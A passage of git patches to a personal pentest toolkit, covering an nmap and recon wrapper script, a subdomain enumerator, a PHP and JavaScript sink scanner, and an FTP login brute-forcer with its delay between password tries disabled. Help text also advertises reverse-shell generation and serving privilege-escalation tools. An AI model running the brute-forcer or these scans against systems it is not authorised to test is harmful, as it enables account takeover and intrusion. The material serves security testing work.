"\33[0m\n") @@ -237,7 +238,8 @@ def run(self): if self.recursive: for root, subdirs, files in os.walk(self.filename): for f in files: - if f.find('php') > 0: + extension = f.split('.')[-1:][0] + if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) self.found_entries = self.found_entries + res diff --git a/pef/test.inc b/pef/test.inc new file mode 100644 index 0000000..fe82216 --- /dev/null +++ b/pef/test.inc @@ -0,0 +1,5 @@ + Date: Wed, 23 Jun 2021 21:39:46 +0100 Subject: [PATCH 175/460] s0mbra: nmap scan for N-ports --- denumerator/denumerator.py | 40 ++++++++++++++++++++++++-------------- ftpLoginBruteforcer.py | 8 +++----- s0mbra.sh | 15 ++++++++++++++ 3 files changed, 43 insertions(+), 20 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 97fb00a..f32c086 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -43,6 +43,7 @@ "white": '\33[37m', 200: '\33[32m', 204: '\33[32m', + 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', 304: '\33[33m', @@ -51,6 +52,8 @@ 403: '\33[94m', 404: '\33[94m', 405: '\33[94m', + 411: '\33[94m', + 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', 500: '\33[31m', @@ -65,6 +68,7 @@ timeout = 2 nmap = False + def usage(): """ prints welcome message @@ -115,9 +119,9 @@ def create_output_header(html_output): def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' - screenshot_cmd = '/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --headless --user-agent="HackerOne" --dns-prefetch-disable --log-level=0 --timeout=30000 --screenshot={} '.format( + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( './reports/{}/'.format(output_directory) + screenshot_name) - + # os.system(screenshot_cmd + url) subprocess.run( screenshot_cmd + url, @@ -141,7 +145,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ips = [ip for ip in ip_addresses.split(b"\n")] for ip in ips: if ip.find(b"address") > 0: - ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) + ip_html = ip_html + "

IP: {}

".format( + ip.split(b"address")[1].decode("utf-8")) ip_html = ip_html + "" nmap_html = "
" @@ -151,7 +156,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

".format(port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "
" # HTTP response headers @@ -241,26 +247,28 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], + iterator, number_of_domains, colors['white'])) # IP address - ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout + ip = subprocess.run( + ["host", d], capture_output=True, timeout=15).stdout nmap_output = '' - + if nmap == True: # perform nmap scan nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + send_request('https', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + except requests.exceptions.InvalidURL: if show is True: print('[-] {} is not a valid URL :/'.format(d)) @@ -295,7 +303,7 @@ def main(): parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( - "-o", "--output", help="Path to output file") + "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( @@ -321,7 +329,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = ['200','301','500'] + allowed_http_responses = ['200', '301', '500'] nmap_top_ports = args.ports @@ -340,15 +348,17 @@ def main(): os.mkdir('reports/{}'.format(output_directory)) # starts output HTML - html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') + html_output = open( + 'reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) # if output filename was specified, create it and use to write report result if args.output: - output_filename = os.path.join('reports', output_directory, args.output) + output_filename = os.path.join( + 'reports', output_directory, args.output) output_file = open(output_filename, 'w+') else: - output_file = '__enumerated_domains.txt' + output_file = open('__enumerated_domains.txt', 'w+') # main loop enumerate_domains(domains, output_file, html_output, diff --git a/ftpLoginBruteforcer.py b/ftpLoginBruteforcer.py index 93c80df..5f85dd6 100755 --- a/ftpLoginBruteforcer.py +++ b/ftpLoginBruteforcer.py @@ -20,15 +20,14 @@ print ftp.getwelcome() # pwds = ['root','123456','password'] tries = 0 -# for p in open('/Users/bl4de/hacking/dictionaries/passwords_5445.txt', 'r').readlines(): -for p in open('./passwords.txt', 'r').readlines(): -# for p in pwds: +for p in open('/Users/bl4de/hacking/dictionaries/100000_passwords.txt', 'r').readlines(): + # for p in pwds: try: tries = tries + 1 print "[+] try {}: trying {}:{}".format(tries, username, p.strip()) resp = ftp.sendcmd('USER {}'.format(username)) print resp - time.sleep(4) + # time.sleep(4) resp = ftp.sendcmd('PASS {}'.format(p.strip())) print resp print "[+] Logged in! -> {}".format(str(resp)) @@ -36,4 +35,3 @@ except Exception, e: print e pass - diff --git a/s0mbra.sh b/s0mbra.sh index 97f2f79..71be945 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -93,6 +93,17 @@ full_nmap_scan() { echo -e "[+] Done!" } + +# runs --top-ports 1000 against IP; then -sV -sC -A against every open port found +quick_nmap_scan() { + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "\t\t -> search top $2 open ports..." + ports=$(nmap --top-ports $2 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + echo -e "[+] Done!" +} + # runs Python 3 built-in HTTP server on [PORT] http_server() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" @@ -449,6 +460,9 @@ case "$cmd" in full_nmap_scan) full_nmap_scan "$2" ;; + quick_nmap_scan) + quick_nmap_scan "$2" "$3" + ;; http_server) http_server "$2" ;; @@ -529,6 +543,7 @@ case "$cmd" in echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tquick_nmap_scan [IP][PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate N-ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From c0875374bab565b1ef98b54485b5f1860a3856ab Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Jun 2021 23:38:07 +0100 Subject: [PATCH 176/460] s0mbra: display content of the directory where http_server command was executed --- s0mbra.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 71be945..43b5b3a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -107,6 +107,9 @@ quick_nmap_scan() { # runs Python 3 built-in HTTP server on [PORT] http_server() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + echo -e "$YELLOW available files/folders in SERVER ROOT: $CLR" + ls -l + echo -e "\n\n" python3 -m http.server "$1" } From a2e5f20b152e1ad47b8aa8e435bfc43efa44253b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Jun 2021 11:19:41 +0100 Subject: [PATCH 177/460] [s0mbra] nmap quick and full scan for N top ports; XML output file for searchsploit --- s0mbra.sh | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 43b5b3a..6451883 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -83,24 +83,22 @@ interactive() { esac } -# runs -p- against IP; then -sV -sC -A against every open port found +# runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap -p- "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" } -# runs --top-ports 1000 against IP; then -sV -sC -A against every open port found +# runs --top-ports $2 against IP quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - ports=$(nmap --top-ports $2 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + nmap --top-ports $2 $1 echo -e "[+] Done!" } @@ -461,7 +459,7 @@ case "$cmd" in subdomenum "$2" "$3" ;; full_nmap_scan) - full_nmap_scan "$2" + full_nmap_scan "$2" "$3" ;; quick_nmap_scan) quick_nmap_scan "$2" "$3" @@ -545,8 +543,8 @@ case "$cmd" in echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tquick_nmap_scan [IP][PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate N-ports + -sV -sC -A on found open ports" + echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tquick_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From 615e2ecb738161203161f59da786e00b2b46b1c8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Jun 2021 02:52:23 +0100 Subject: [PATCH 178/460] [s0mbra] improvements --- s0mbra.sh | 27 +++++++++++++++++---------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6451883..a7166e4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -87,7 +87,7 @@ interactive() { full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" $1 -v | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" @@ -98,17 +98,24 @@ full_nmap_scan() { quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - nmap --top-ports $2 $1 + nmap -v --top-ports $2 $1 echo -e "[+] Done!" } # runs Python 3 built-in HTTP server on [PORT] -http_server() { +http() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" - echo -e "$YELLOW available files/folders in SERVER ROOT: $CLR" + echo -e "$GRAY\navailable network interfaces:$YELLOW" + ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 + echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" ls -l echo -e "\n\n" - python3 -m http.server "$1" + if [[ -z "$1" ]]; then + PORT=7777; + else + PORT=$1 + fi + python3 -m http.server $PORT } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] @@ -167,7 +174,7 @@ privesc_tools_linux() { echo -e "$BLUE[+] Available tools:$CLR" tree -L 2 . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 + http 9119 } @@ -177,7 +184,7 @@ privesc_tools_windows() { echo -e "$BLUE[+] Available tools:$CLR" ls -lR . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 + http 9119 } # enumerates SMB shares on [IP] - port 445 has to be open @@ -464,8 +471,8 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - http_server) - http_server "$2" + http) + http "$2" ;; rockyou_john) rockyou_john "$2" "$3" @@ -550,7 +557,7 @@ case "$cmd" in echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\thttp [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From 18b824e94091eab43e42bba674050f8dc1ecf257 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 1 Jul 2021 01:19:57 +0100 Subject: [PATCH 179/460] [nodestructor] some new patterns added --- nodestructor/nodestructor.py | 49 +++++++++++++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 16f0430..a59d428 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -124,7 +124,54 @@ ".*prepend", ".*setContent\(", ".*setHTML\(", - ".*\.SafeString\(" + ".*\.SafeString\(", + ".*jQuery.globalEval", + ".*execScript", + ".*element.insertAdjacentHTML", + ".*element.setAttribute.on", + "xhr.open", + "xhr.send", + "fetch", + "xhr.setRequestHeader.name", + "xhr.setRequestHeader.value", + "jQuery.attr.href", + "jQuery.attr.src", + "jQuery.attr.data", + "jQuery.attr.action", + "jQuery.attr.formaction", + "jQuery.prop.href", + "jQuery.prop.src", + "jQuery.prop.data", + "jQuery.prop.action", + "jQuery.prop.formaction", + "form.action", + "input.formaction", + "button.formaction", + "button.value", + "element.setAttribute.href", + "element.setAttribute.src", + "element.setAttribute.data", + "element.setAttribute.action", + "element.setAttribute.formaction", + "webdatabase.executeSql", + "document.domain", + "history.pushState", + "history.replaceState", + "xhr.setRequestHeader", + "websocket", + "anchor.href", + "anchor.target", + "JSON.parse", + "document.cookie", + "localStorage.setItem.name", + "localStorage.setItem.value", + "sessionStorage.setItem.name", + "sessionStorage.setItem.value", + "element.outerText", + "element.innerText", + "element.textContent", + "element.style.cssText", + "RegExp" ] url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From e5751208ee1ef5c77a84975351c9d789b82f8d1c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 00:59:43 +0100 Subject: [PATCH 180/460] SonarCloud integration --- .github/workflows/build.yml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 .github/workflows/build.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..c3c313d --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,20 @@ +name: Build +on: + push: + branches: + - master + pull_request: + types: [opened, synchronize, reopened] +jobs: + sonarcloud: + name: SonarCloud + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + with: + fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis + - name: SonarCloud Scan + uses: SonarSource/sonarcloud-github-action@master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} From 899c3d7d90f920816002656a7f78c2082a9a5807 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 01:00:25 +0100 Subject: [PATCH 181/460] SonarCloud integration --- sonar-project.properties | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 sonar-project.properties diff --git a/sonar-project.properties b/sonar-project.properties new file mode 100644 index 0000000..3fb79ea --- /dev/null +++ b/sonar-project.properties @@ -0,0 +1,13 @@ +sonar.projectKey=bl4de_security-tools +sonar.organization=bl4de + +# This is the name and version displayed in the SonarCloud UI. +#sonar.projectName=security-tools +#sonar.projectVersion=1.0 + +# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows. +#sonar.sources=. + +# Encoding of the source code. Default is default system encoding +#sonar.sourceEncoding=UTF-8 + From f288d572fcdae9c6648a51c0fb5040bcbedbe854 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 01:06:13 +0100 Subject: [PATCH 182/460] removed SonarCloud --- .github/workflows/build.yml | 20 -------------------- sonar-project.properties | 13 ------------- 2 files changed, 33 deletions(-) delete mode 100644 .github/workflows/build.yml delete mode 100644 sonar-project.properties diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index c3c313d..0000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Build -on: - push: - branches: - - master - pull_request: - types: [opened, synchronize, reopened] -jobs: - sonarcloud: - name: SonarCloud - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - with: - fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis - - name: SonarCloud Scan - uses: SonarSource/sonarcloud-github-action@master - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} diff --git a/sonar-project.properties b/sonar-project.properties deleted file mode 100644 index 3fb79ea..0000000 --- a/sonar-project.properties +++ /dev/null @@ -1,13 +0,0 @@ -sonar.projectKey=bl4de_security-tools -sonar.organization=bl4de - -# This is the name and version displayed in the SonarCloud UI. -#sonar.projectName=security-tools -#sonar.projectVersion=1.0 - -# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows. -#sonar.sources=. - -# Encoding of the source code. Default is default system encoding -#sonar.sourceEncoding=UTF-8 - From 0b3b7505fc883c5fd65d6df8af008bb7fc860d07 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 11 Jul 2021 11:56:01 +0100 Subject: [PATCH 183/460] [s0mbra] changes --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a7166e4..72ffa26 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -61,7 +61,7 @@ interactive() { trap '' SIGINT SIGQUIT SIGTSTP set_ip "$1" local choice - echo "$__logo" + # echo "$__logo" echo -e "$BLUE------------------------------------------------------------------------------------------------------" echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" echo -e "$BLUE------------------------------------------------------------------------------------------------------" @@ -86,10 +86,10 @@ interactive() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search all open ports..." - ports=$(nmap --top-ports "$2" $1 -v | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> search open ports..." + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" } @@ -98,7 +98,7 @@ full_nmap_scan() { quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - nmap -v --top-ports $2 $1 + nmap --top-ports $2 $1 echo -e "[+] Done!" } @@ -451,7 +451,7 @@ php8() { cmd=$1 clear -echo "$__logo" +# echo "$__logo" case "$cmd" in php7) php7 From b6b2c2b70b137f220def9505ecad454ef9850c52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 14 Jul 2021 09:36:07 +0100 Subject: [PATCH 184/460] [s0mbra,denumerator] Changes --- denumerator/denumerator.py | 2 +- s0mbra.sh | 32 ++++++++++++++++++++++++-------- 2 files changed, 25 insertions(+), 9 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index f32c086..5e6c4f0 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -307,7 +307,7 @@ def main(): parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 diff --git a/s0mbra.sh b/s0mbra.sh index 72ffa26..58db3c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -85,20 +85,36 @@ interactive() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search open ports..." - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + fi + echo -e "[+] Done!" } # runs --top-ports $2 against IP quick_nmap_scan() { - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" - echo -e "\t\t -> search top $2 open ports..." - nmap --top-ports $2 $1 + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + nmap -p- $1 + else + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "\t\t -> search top $2 open ports..." + nmap --top-ports $2 $1 + fi + echo -e "[+] Done!" } From 7555a0aaf43f0060761634c3d73c179e769b7087 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 27 Jul 2021 21:42:02 +0100 Subject: [PATCH 185/460] [s0mbra: pwn mode; others: refactoring; bugfixes] --- enumeratescope.sh | 12 ------------ pef/pef.py | 15 +++++++-------- s0mbra.sh | 49 ++++++++++++----------------------------------- 3 files changed, 19 insertions(+), 57 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index af4550b..a6d9aec 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -55,14 +55,6 @@ run_denumerator() { } -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - ## ----------------------------------------------------------------------------- @@ -80,10 +72,6 @@ echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log # enusre that domains/ folder exists, if not create one create_domains_folder -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - cat $DOMAINS | while read DOMAIN do enumerate_domain $DOMAIN diff --git a/pef/pef.py b/pef/pef.py index 3873456..21c68fb 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -108,7 +108,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, verbose) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity=None, verbose=False): """ prints formatted code line """ @@ -222,9 +222,7 @@ def main(self, src): total = self.analyse_line(l, i, refl, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) - if total < 1: - pass - else: + if total > 0: print(beautyConsole.getColor("red") + "Found %d interesting entries\n" % (total) + beautyConsole.getSpecialChar("endline")) @@ -257,11 +255,13 @@ def run(self): else: print(" No interesting entries found :( \n") - print("{}==> {}:\t {}".format( + SUMMARY = "{}==> {}:\t {}" + + print(SUMMARY.format( beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( + print(SUMMARY.format(beautyConsole.getColor( "yellow"), "MEDIUM", self.severity.get("medium"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( + print(SUMMARY.format(beautyConsole.getColor( "green"), "LOW", self.severity.get("low"))) print("\n") @@ -304,7 +304,6 @@ def run(self): engine.run() except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) - pass except FileNotFoundError as e: print("Requested file not found, check the path :)") except IsADirectoryError as e: diff --git a/s0mbra.sh b/s0mbra.sh index 58db3c6..217bc02 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -56,33 +56,6 @@ set_ip() { export IP="$1" } -interactive() { - clear - trap '' SIGINT SIGQUIT SIGTSTP - set_ip "$1" - local choice - # echo "$__logo" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "$YELLOW[1]$CLR\t\t $GRAY-> run full nmap scan + -sV -sC on open port(s)$CLR" - echo -e "$YELLOW[2]$CLR\t\t $GRAY-> run SMB enumeration (if port 445 is open)$CLR" - echo -e "$YELLOW[3]$CLR\t\t $GRAY-> run nfs scan (port 2049 open)$CLR" - echo -e "$YELLOW[4]$CLR\t\t $GRAY-> run nikto against HTTP server on port 80 with default plugins$CLR" - echo -e "" - echo -e "$YELLOW[0]$CLR\t\t $GRAY-> Quit" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - read -p ">> " choice - case $choice in - 1) full_nmap_scan "$IP" ;; - 2) smb_enum "$IP" ;; - 3) nfs_enum "$IP" ;; - 4) nikto -host "$IP" -Plugins tests ;; - 0) exit ;; - *) interactive "$IP" - esac -} - # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then @@ -406,8 +379,8 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200 and 500...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,500 + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200 } generate_shells() { @@ -464,11 +437,17 @@ php8() { echo -e "$CLR" } +pwn() { + echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" +} cmd=$1 clear # echo "$__logo" case "$cmd" in + pwn) + pwn "$2" + ;; php7) php7 ;; @@ -553,17 